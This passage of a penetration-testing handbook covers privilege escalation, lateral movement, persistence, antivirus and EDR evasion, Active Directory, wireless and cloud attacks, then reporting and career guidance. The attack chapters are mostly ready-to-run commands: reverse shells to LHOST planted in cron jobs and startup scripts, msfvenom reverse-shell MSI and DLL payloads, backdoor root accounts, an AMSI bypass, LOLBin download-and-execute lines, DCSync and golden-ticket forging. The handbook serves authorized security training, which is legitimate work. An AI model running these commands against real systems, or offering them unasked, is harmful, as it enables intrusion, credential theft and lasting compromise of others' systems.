PRIVILEGE ESCALATION (LINUX & WINDOWS)

Linux Privilege Escalation

■ SUID Binary Abuse

Exploit binaries with SUID bit set

```
$ find / -perm -u=s -type f 2>/dev/null # find SUID binaries
# Check GTFOBins: gtfobins.github.io for abuse techniques
# Example: SUID bash
$ bash -p # -p preserves privileges
```

■ Sudo Misconfigurations

Exploiting sudo rules

```
$ sudo -l # list allowed sudo commands
# If: (ALL) NOPASSWD: /usr/bin/vim
$ sudo vim -c ':!/bin/bash'
# If: (ALL) NOPASSWD: /usr/bin/python3
$ sudo python3 -c 'import os; os.system("/bin/bash")'
# Full sudo abuse list: gtfobins.github.io
```

■ Cron Job Exploitation

Modify scripts run by root cron

```
$ cat /etc/crontab && ls -la /etc/cron.*
# Find writable scripts run as root
# Add reverse shell to writable cron script:
$ echo 'bash -i >& /dev/tcp/LHOST/4444 0>&1' >> /path/to/cron_script.sh
```

■ Writable /etc/passwd

Add root user if file is writable

```
$ ls -la /etc/passwd
# Generate password hash
$ openssl passwd -1 -salt xyz hacked
# Append new root user
$ echo 'hacker:HASH:0:0:root:/root:/bin/bash' >> /etc/passwd
$ su hacker # login as root
```

■ Kernel Exploits

Local kernel CVE exploitation

```
$ uname -a # check kernel version
$ searchsploit linux kernel $(uname -r)
# Common: Dirty COW (CVE-2016-5195), DirtyPipe (CVE-2022-0847)
$ python3 linpeas.sh | grep -A3 'kernel'
```

Windows Privilege Escalation

■ Token Impersonation

Steal tokens of higher-privileged users

```
# In Meterpreter
$ use incognito
```

```
$ list_tokens -u
$ impersonate_token 'NT AUTHORITY\SYSTEM'
# Standalone: PrintSpoofer, RoguePotato, GodPotato
$ .\PrintSpoofer64.exe -i -c cmd # if SeImpersonatePrivilege
```

■ AlwaysInstallElevated

MSI packages run as SYSTEM

```
$ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
$ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=LHOST LPORT=4444 -f msi -o shell.msi
$ msiexec /quiet /qn /i shell.msi
```

■ Unquoted Service Path

Exploit spaces in unquoted service paths

```
$ wmic service get name,pathname,displayname,startmode | findstr /i 'auto' | findstr /i /v 'C:\Windows' |
findstr /i /v '"'
# Place payload at each path segment without quotes
# e.g. C:\Program.exe if path is: C:\Program Files\Service\service.exe
```

■ DLL Hijacking

Replace missing DLL loaded by privileged process

```
# Find missing DLLs with Process Monitor (Sysinternals)
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f dll -o hijack.dll
# Place DLL in directory searched before legitimate location
```

CHAPTER 13

LATERAL MOVEMENT & PIVOTING

Pass-the-Hash (PTH) Attacks

```
# Pass-the-Hash with CrackMapExec
$ crackmapexec smb TARGET -u Administrator -H NTHASH
$ crackmapexec smb 192.168.1.0/24 -u Administrator -H NTHASH --local-auth
# PTH with impacket
$ psexec.py DOMAIN/Administrator@TARGET -hashes :NTHASH
$ wmiexec.py DOMAIN/Administrator@TARGET -hashes :NTHASH
$ smbexec.py DOMAIN/Administrator@TARGET -hashes :NTHASH
# PTH with evil-winrm
$ evil-winrm -i TARGET -u Administrator -H NTHASH
```

Remote Execution Methods

Method	Tool	Command	Auth Required
PSExec	impacket	psexec.py DOMAIN/user:pass@TARGET cmd	Admin + SMB 445
WMI	impacket	wmiexec.py DOMAIN/user:pass@TARGET	WMI access
WinRM	evil-winrm	evil-winrm -i TARGET -u user -p pass	WinRM enabled
SMBExec	impacket	smbexec.py DOMAIN/user:pass@TARGET	SMB 445
SSH	ssh	ssh user@TARGET -i id_rsa	SSH service
RDP	xfreerdp	xfreerdp /u:user /p:pass /v:TARGET	RDP enabled
PowerShell	CME	cme winrm TARGET -u user -p pass -X cmd	WinRM

Pivoting & Tunneling

■ SSH Port Forwarding

Create tunnels through SSH

```
# Local port forward — access internal service
$ ssh -L 8080:INTERNAL_HOST:80 user@JUMP_HOST
# Remote port forward — expose internal service
$ ssh -R 4444:localhost:4444 user@JUMP_HOST
# Dynamic SOCKS proxy through SSH
$ ssh -D 9050 user@JUMP_HOST
# Then use: proxychains nmap ... or configure browser
```

■ Chisel — Fast TCP Tunneling

TCP/UDP tunnel over HTTP with auth

```
# On attacker machine
$ ./chisel server --reverse --port 8000
# On pivot host (compromised)
$ ./chisel client ATTACKER_IP:8000 R:socks
# Now route traffic: proxychains nmap TARGET
```

■ Ligolo-ng — Layer 3 VPN Pivot

Full network pivot via tun interface

```
# Attacker: start proxy
$ ./proxy -selfcert -laddr 0.0.0.0:11601
# Target: connect agent
$ ./agent -connect ATTACKER_IP:11601 --ignore-cert
# Attacker: configure route
$ ip route add 192.168.2.0/24 dev ligolo
$ session # start tunnel in ligolo console
```

■ Meterpreter Pivoting

Route traffic through Meterpreter session

```
# MSF: add route to internal network
$ run post/multi/manage/autoroute
$ route add 192.168.2.0/24 SESSION_ID
# Use auxiliary modules against internal targets
$ use auxiliary/scanner/smb/smb_ms17_010
```

CHAPTER 14

PERSISTENCE & DEFENSE EVASION

Windows Persistence Techniques

Technique	Command / Location	Stealth
Registry Run Keys	HKCU\Software\Microsoft\Windows\CurrentVersion\Run	Medium
Scheduled Task	schtasks /create /tn 'Update' /tr payload.exe /sc onlogon	Medium
Startup Folder	C:\Users\User\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\	Low
Service Creation	sc create svc binPath= C:\payload.exe start= auto	Medium
DLL Search Order	Drop DLL in app directory before system path	High
WMI Event Subscription	WMIC + MOF file persistence	High
COM Object Hijacking	HKCU\Software\Classes\CLSID override	Very High
Golden Ticket	Forge Kerberos TGT with krbtgt hash	Very High

Linux Persistence Techniques

```
# Crontab backdoor
$ echo '* * * * * root bash -i >& /dev/tcp/LHOST/4444 0>&1' >> /etc/crontab
# SSH authorized_keys
$ echo 'ATTACKER_PUBLIC_KEY' >> ~/.ssh/authorized_keys
$ chmod 600 ~/.ssh/authorized_keys
# SUID bash copy
$ cp /bin/bash /tmp/.hidden_bash && chmod u+s /tmp/.hidden_bash
$ /tmp/.hidden_bash -p # execute as root
# Add user with UID 0
$ echo 'backdoor:x:0:0:root:/root:/bin/bash' >> /etc/passwd
$ echo 'backdoor:PASSWD_HASH:0:0:99999:7:::' >> /etc/shadow
# /etc/profile.d/ startup script
$ echo 'bash -i >& /dev/tcp/LHOST/4444 0>&1' > /etc/profile.d/update.sh
```

Antivirus & EDR Evasion

■ msfvenom Payload Generation

Custom payload generation with encoding

```
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -e x64/xor_dynamic -i 10 -f exe
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP LPORT=443 -f dll
```

■ Shellter

Dynamic shellcode injector for PE files

```
$ wine shellter.exe # Interactive mode
# Choose legit PE file to inject into
# Select payload or custom shellcode
```

■ AMSI Bypass (PowerShell)

Bypass AntiMalware Scan Interface

```
$ [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
# Or patch amsi.dll in memory using PowerSploit
```

■ Obfuscation Tools

Code obfuscation to evade signature detection

```
$ Invoke-Obfuscation # PowerShell obfuscation
$ python3 Chimera.py -f shell.ps1 -o obfuscated.ps1 # multi-stage obfuscation
# Donut: convert .NET/PE/shellcode to position-independent shellcode
$ ./donut -f payload.exe -o shellcode.bin
```

CHAPTER 15

ACTIVE DIRECTORY ATTACKS

Active Directory is the backbone of most enterprise networks. Compromising AD equals full organizational compromise. This chapter covers the complete AD attack chain.

AD Enumeration

■ BloodHound + SharpHound

Attack path visualization and analysis

```
$ .\SharpHound.exe -c All --zipfilename loot.zip
$ bloodhound-python -d DOMAIN.COM -u user -p pass -ns DC_IP -c All
# Load ZIP into BloodHound > Queries > Find Shortest Paths to Domain Admins
```

■ ldapdomaindump

Dump AD objects over LDAP

```
$ ldapdomaindump -u DOMAIN\\user -p password DC_IP -o ./ldap_dump/
```

■ PowerView Enumeration

Comprehensive AD PowerShell enumeration

```
$ . .\PowerView.ps1
$ Get-Domain && Get-DomainController && Get-DomainPolicy
$ Get-DomainUser | select samaccountname,description,memberof
$ Get-DomainComputer | select name,operatingsystem
$ Get-DomainGroupMember 'Domain Admins' | select MemberName
$ Invoke-ACLScanner -ResolveGUIDs | select ObjectDN,ActiveDirectoryRights,IdentityReference
$ Find-DomainShare -CheckShareAccess
```

Kerberos Attacks

Attack	Description	Tool / Command
Kerberoasting	Request TGS for SPNs, crack offline	GetUserSPNs.py / Rubeus
AS-REP Roasting	Request encrypted TGT without pre-auth	GetNPUsers.py / Rubeus
Pass-the-Ticket	Inject Kerberos ticket into session	Rubeus ptt / mimikatz
Overpass-the-Hash	Use NTLM hash to request TGT	Rubeus asktgt
Golden Ticket	Forge TGT with krbtgt hash	mimikatz / Rubeus
Silver Ticket	Forge TGS with service account hash	mimikatz
Diamond Ticket	Modify valid TGT (harder to detect)	Rubeus diamond
Sapphire Ticket	Clone existing TGT	Rubeus

Kerberoasting Commands

```
# Impacket - remote
$ GetUserSPNs.py DOMAIN/user:pass -dc-ip DC_IP -request -output kerberoast.txt
# Rubeus - on Windows target
$ .\Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat
# Crack with hashcat
$ hashcat -a 0 -m 13100 kerberoast.txt rockyou.txt
```

```
# AS-REP Roasting
$ GetNPUsers.py DOMAIN/ -no-pass -usersfile users.txt -dc-ip DC_IP -format hashcat
$ hashcat -a 0 -m 18200 asrep_hashes.txt rockyou.txt
```

DCSync & Domain Compromise

```
# DCSync — dump all hashes from Domain Controller
$ secretsdump.py DOMAIN/admin:pass@DC_IP -just-dc-ntlm
$ secretsdump.py DOMAIN/admin@DC_IP -hashes :NTHASH -just-dc
# mimikatz DCSync (on Windows with DA privileges)
$ lsadump::dcsync /domain:DOMAIN.COM /all /csv
$ lsadump::dcsync /domain:DOMAIN.COM /user:krbtgt
# Golden Ticket with mimikatz
$ kerberos::golden /user:Administrator /domain:DOMAIN.COM /sid:DOMAIN_SID /krbtgt:KRBTGT_HASH /ptt
# Verify: klist then access DC
$ dir \\DC_IP\C$
```

CHAPTER 16

WIRELESS NETWORK PENETRATION TESTING

Wireless Setup & Monitor Mode

```
$ iwconfig # list wireless interfaces
$ airmon-ng check kill # kill interfering processes
$ airmon-ng start wlan0 # enable monitor mode → wlan0mon
$ airodump-ng wlan0mon # scan all networks
$ airodump-ng --bssid TARGET_BSSID --channel CH -w capture wlan0mon
```

WPA/WPA2 Attacks

■ 4-Way Handshake Capture & Crack

Classic WPA2-PSK attack

```
# Capture handshake
$ airodump-ng --bssid BSSID -c CHANNEL -w handshake wlan0mon
# Deauth client to force reauthentication (in separate terminal)
$ aireplay-ng -0 10 -a BSSID -c CLIENT_MAC wlan0mon
# Wait for 'WPA handshake: BSSID' message
# Crack with aircrack-ng
$ aircrack-ng handshake.cap -w /usr/share/wordlists/rockyou.txt
# Or convert and crack with hashcat
$ hcxpcapngtool -o hash.hc22000 handshake.cap
$ hashcat -a 0 -m 22000 hash.hc22000 rockyou.txt
```

■ PMKID Attack (No Client Needed)

Capture PMKID without deauthentication

```
$ hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
$ hcxpcapngtool -o hash.hc22000 pmkid.pcapng
$ hashcat -a 0 -m 22000 hash.hc22000 rockyou.txt
```

■ Evil Twin / Rogue AP

Create fake AP to capture credentials

```
# hostapd-wpe — automated evil twin
$ hostapd-wpe /etc/hostapd-wpe/hostapd-wpe.conf
# Or airbase-ng
$ airbase-ng -a BSSID -e 'Target_SSID' -c CH wlan0mon
```

■ WPS Attacks

Exploit WPS PIN vulnerability

```
$ wash -i wlan0mon # find WPS-enabled APs
$ reaver -i wlan0mon -b BSSID -vv # WPS PIN brute force
$ reaver -i wlan0mon -b BSSID -K 1 # Pixie Dust attack
```

Enterprise Wireless (WPA-EAP) Attacks

```
# Capture PEAP/MSCHAPv2 credentials
$ hostapd-wpe hostapd-wpe.conf # rogue EAP server
# Crack captured MSCHAPv2
$ asleap -C challenge -R response -W rockyou.txt
```

```
# Or use hashcat -m 5500 (NetNTLMv1) / -m 5600 (NetNTLMv2)
```

CHAPTER 17

CLOUD PENETRATION TESTING (AWS / AZURE / GCP)

AWS Penetration Testing

■ IAM Enumeration

Map permissions after credential discovery

```
$ aws sts get-caller-identity # who am I?
$ aws iam get-user && aws iam list-attached-user-policies --user-name USER
$ aws iam list-users && aws iam list-roles
$ aws iam simulate-principal-policy --policy-source-arn ARN --action-names '*'
```

■ S3 Bucket Attacks

Find and exploit misconfigured buckets

```
$ aws s3 ls --no-sign-request # list public buckets (unauthenticated)
$ aws s3 ls s3://bucket-name --no-sign-request
$ aws s3 cp s3://bucket/sensitive.txt . --no-sign-request
$ s3scanner scan --buckets-file buckets.txt
$ slurp domain -t target.com # find related buckets
```

■ Pacu — AWS Exploitation Framework

Comprehensive AWS attack and enumeration

```
$ python3 pacu.py
$ import_keys # import AWS credentials
$ run iam__enum_permissions # enumerate all IAM permissions
$ run iam__privesc_scan # find privilege escalation paths
$ run ec2__enum # enumerate EC2 instances
$ run s3__bucket_finder # find S3 buckets
```

■ CloudSploit / ScoutSuite

Multi-cloud security auditing

```
$ pip3 install scoutsuite
$ scout aws --report-dir ./scout_report
$ scout azure --tenant TENANT_ID --report-dir ./scout_azure
# Open HTML report in browser
```

Azure Penetration Testing

■ Az CLI Enumeration

Azure resource enumeration

```
$ az login # authenticate
$ az account list && az account set --subscription SUB_ID
$ az vm list -o table
$ az storage account list -o table
$ az ad user list -o table
$ az role assignment list --all -o table
```

■ ROADtools

Azure AD and Office 365 attack toolkit

```
$ pip3 install roadrecon
```

```
$ roadrecon auth -u user@domain.com -p password
$ roadrecon gather # collect all tenant data
$ roadrecon gui # web-based visualization
```

■ MicroBurst

Azure-specific security testing tools

```
$ . .\MicroBurst.psm1
$ Invoke-EnumerateAzureBlobs -Base target
$ Get-AzurePasswords # dump credentials from resources
$ Invoke-EnumerateAzureSubDomains -Base target
```

Cloud Attack Surface Quick Reference

Service	Common Misconfig	Impact
S3 / Blob Storage	Public read/write ACLs	Data exposure, backdoor upload
IAM Roles	Overpermissioned roles / SSRF	Full account takeover
Metadata Service	SSRF → 169.254.169.254	Credential theft (IMDS)
Security Groups	0.0.0.0/0 inbound rules	Direct internet exposure
Lambda / Functions	Env vars with secrets	Credential leakage
RDS / Databases	Public endpoint, no auth	Full database access
CloudTrail Logs	Logging disabled	Attack forensics prevention

CHAPTER 18

EVADING DETECTION & AV/EDR BYPASS

AV Evasion Fundamentals

Technique	Description	Effectiveness
Signature bypass	Modify payload bytes to avoid matching	Medium
Encoding / Packing	XOR, Base64, custom encoding	Medium
Obfuscation	Rename functions, variables, strings	Medium-High
Encryption	AES/RC4 encrypted shellcode	High
Process Injection	Inject into legit process (explorer.exe)	High
Living-off-the-Land	Use built-in OS tools (LOLBins)	Very High
Reflective Loading	Load .NET/PE from memory, never disk	Very High
Syscalls (direct)	Bypass user-mode AV hooks via syscalls	Very High

Payload Generation & Obfuscation

■ msfvenom with Encoding

Encoded shellcode generation

```
$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -e x64/xor_dynamic -i 15 -f raw -o shellcode.bin
$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=IP LPORT=443 -f csharp
# C# template: inject shellcode bytes into process injection template
```

■ Invoke-Obfuscation

PowerShell script obfuscation framework

```
$ . .\Invoke-Obfuscation.ps1
$ Set-ScriptBlock -Path .\payload.ps1
$ Out-ObfuscatedStringCommand # token-based obfuscation
$ Out-EncodedCommand # full script encoding
```

■ Donut

Generate position-independent shellcode from any PE/.NET

```
$ ./donut -f payload.exe -a 2 -o shellcode.bin # x64
$ ./donut -f payload.dll -m MethodName -o shellcode.bin
```

■ ScareCrow

EDR-evading payload framework

```
$ ./ScareCrow -I shellcode.bin -Loader binary -domain microsoft.com
$ ./ScareCrow -I shellcode.bin -Loader dll -domain google.com
```

LOLBins — Living Off the Land

LOLBin	Technique	Command Example
certutil.exe	Download file	certutil -urlcache -f http://LHOST/file.exe file.exe

mshta.exe	Execute HTA payload	mshta.exe http://LHOST/payload.hta
regsvr32.exe	Execute SCT via COM object	regsvr32 /s /n /u /i:http://LHOST/payload.sct scrobj.dll
wscript.exe	Execute VBS script	wscript.exe payload.vbs
powershell.exe	Bypass execution policy	powershell -ep bypass -c IEX(IWR 'URL')
rundll32.exe	Execute DLL export	rundll32.exe payload.dll,EntryPoint
bitsadmin.exe	Download file via BITS	bitsadmin /transfer job /download /priority normal URL outfile
wmic.exe	Spawn process / lateral movement	wmic /node:TARGET process call create 'cmd.exe /c payload'

CHAPTER 19

WRITING PROFESSIONAL PENETRATION TEST REPORTS

The penetration test report is the primary deliverable — it translates technical findings into business risk and actionable remediation steps. A poorly written report devalues excellent technical work.

Report Structure

■ EXECUTIVE SUMMARY

Non-technical overview for C-suite and board. Include: overall risk rating, key findings summary, business impact in plain language, strategic recommendations.

■ SCOPE & METHODOLOGY

Dates, in-scope systems, exclusions, testing approach, tools used, rules of engagement summary.

■ FINDINGS SUMMARY

Risk-rated table of all findings with severity, affected system, and CVE/CWE reference.

■ TECHNICAL FINDINGS

One section per vulnerability: description, evidence (screenshots/requests), CVSS score, proof of concept steps, business impact, and specific remediation guidance.

■ ATTACK NARRATIVE

Story of the engagement from attacker perspective — how systems were chained to achieve objectives.

■ REMEDIATION ROADMAP

Prioritized fix list with estimated effort, quick wins vs long-term architectural changes.

■ APPENDICES

Raw tool output, full command logs, network diagrams, evidence screenshots, certificate of testing.

Finding Documentation Template

Field	Content
Title	Clear, specific vulnerability name and location
Severity	Critical / High / Medium / Low / Info
CVSS 3.1 Score	Vector string and numeric score
CWE Reference	CWE-XXX category identifier
CVE (if applicable)	CVE-YYYY-NNNNN if known vulnerability
Affected Asset	IP, hostname, URL, application name
Description	Technical explanation of the vulnerability
Evidence	Screenshots, request/response, command output
Business Impact	What an attacker gains — translate to business risk
Proof of Concept	Step-by-step reproduction instructions
Remediation	Specific, developer-friendly fix with code examples if possible

References	CVE, CWE, OWASP, vendor advisory links

Risk Rating Matrix

Likelihood \ Impact	Critical	High	Medium	Low
Almost Certain	CRITICAL	CRITICAL	HIGH	MEDIUM
Likely	CRITICAL	HIGH	MEDIUM	LOW
Possible	HIGH	MEDIUM	LOW	INFO
Unlikely	MEDIUM	LOW	INFO	INFO

CHAPTER 20

CAREER ROADMAP, CERTIFICATIONS & RESOURCES

Certification Roadmap

Level	Certification	Issuer	Focus Area	Difficulty
Foundational	CompTIA Security+	CompTIA	General security concepts	★★■■■
Foundational	eJPT	eLearnSecurity	Entry-level penetration testing	★★■■■
Intermediate	CEH	EC-Council	Ethical hacking methodology	★★★■■
Intermediate	CompTIA PenTest+	CompTIA	Practical pentesting	★★★■■
Advanced	OSCP	Offensive Sec	Hands-on exploitation (24hr lab)	★★★★■
Advanced	PNPT	TCM Security	Practical network pentesting	★★★■■
Advanced	CRTP	Altered Sec	Red Team Ops / Active Directory	★★★★■
Expert	OSED / OSEP / OSWE	Offensive Sec	Windows/Evasion/Web Expert	★★★★★
Expert	CRTE	Altered Sec	Red Team Expert	★★★★★
Specialist	GPEN / GWAPT	GIAC	Network / Web pentest	★★★★■

Essential Practice Platforms

Platform	Type	URL	Cost
HackTheBox	VMs + Pro Labs	hackthebox.com	Free/Paid
TryHackMe	Guided rooms	tryhackme.com	Free/Paid
VulnHub	Offline VMs	vulnhub.com	Free
PortSwigger Academy	Web app labs	portswigger.net/web-security	Free
PentesterLab	Web vuln exercises	pentesterlab.com	Free/Paid
PwnTillDawn	Online range	online.pwntilldawn.com	Free
Proving Grounds	OSCP-style machines	offensive-security.com/labs	Paid
HackTheBox Academy	Structured courses	academy.hackthebox.com	Free/Paid

Professional Roadmap

■ JUNIOR (0-1 year)

- ■ Build foundational knowledge: networking, Linux, Windows, Python basics
- ■ Complete TryHackMe learning paths and HackTheBox Starting Point machines
- ■ Earn eJPT or CompTIA Security+ certification
- ■ Practice on 20-30 easy VulnHub / HackTheBox machines
- ■ Learn Burp Suite and complete PortSwigger Web Security Academy

■ MID-LEVEL (1-3 years)

- ■ Earn OSCP — the industry gold standard for penetration testers
- ■ Build an Active Directory home lab (2 Windows VMs + DC)

- Complete PNPT and study TCM Security courses
- Develop scripting skills: Python automation, PowerShell, Bash
- Start contributing to CTF competitions and write-ups
- Target 50-100 machines across HTB, PG, and VulnHub

SENIOR (3+ years)

- Pursue advanced certs: CRTP, OSEP, OSED, GPEN, GWAPT
- Specialize in a niche: AD attacks, cloud, red teaming, malware dev
- Lead engagements, write reports, manage client relationships
- Develop custom tooling and present at conferences
- Mentor junior pentesters and contribute to security community

Essential Reading & Resources

Resource	Type	URL
The Hacker Playbook 3	Book	amazon.com (Peter Kim)
Penetration Testing (Georgia Weidman)	Book	nostarch.com
Red Team Development & Ops	Book	silentbreaksecurity.com
PTES Standard	Framework	pentest-standard.org
OWASP Testing Guide v4.2	Methodology	owasp.org/WSTG
GTFOBins	Reference	gtfobins.github.io
HackTricks	Wiki	book.hacktricks.xyz
PayloadsAllTheThings	Cheatsheets	github.com/swisskyrepo
LOLBAS Project	Reference	lolbas-project.github.io
Exploit Notes	Wiki	exploit.education

END OF HANDBOOK

Phase	Primary Tool(s)	Key Output
OSINT	theHarvester, Maltego, Shodan	Target profile
Recon	amass, subfinder, dnsx, httpx	Attack surface map
Scanning	nmap, rustscan, masscan, nuclei	Port/service/vuln list
VA	Nessus/OpenVAS, searchsploit	Prioritized vuln list
Exploitation	Metasploit, sqlmap, msfvenom	Shell/proof of compromise
Post-Exploit	mimikatz, BloodHound, PEASS	Credentials, paths
PrivEsc	winPEAS, linPEAS, PowerView	SYSTEM/root access
Lateral Mvmt	CrackMapExec, impacket, evil-winrm	Domain spread
Persistence	schtasks, crontab, registry keys	Maintained access
Reporting	Manual + evidence screenshots	Professional report

This handbook is for authorized penetration testing and educational use only.
Always obtain written authorization before testing any system.
Unauthorized access to computer systems is illegal in most jurisdictions.
Test methodically. Document everything. Report responsibly.

[PENETRATION TESTING HANDBOOK · v3.0 · 2025]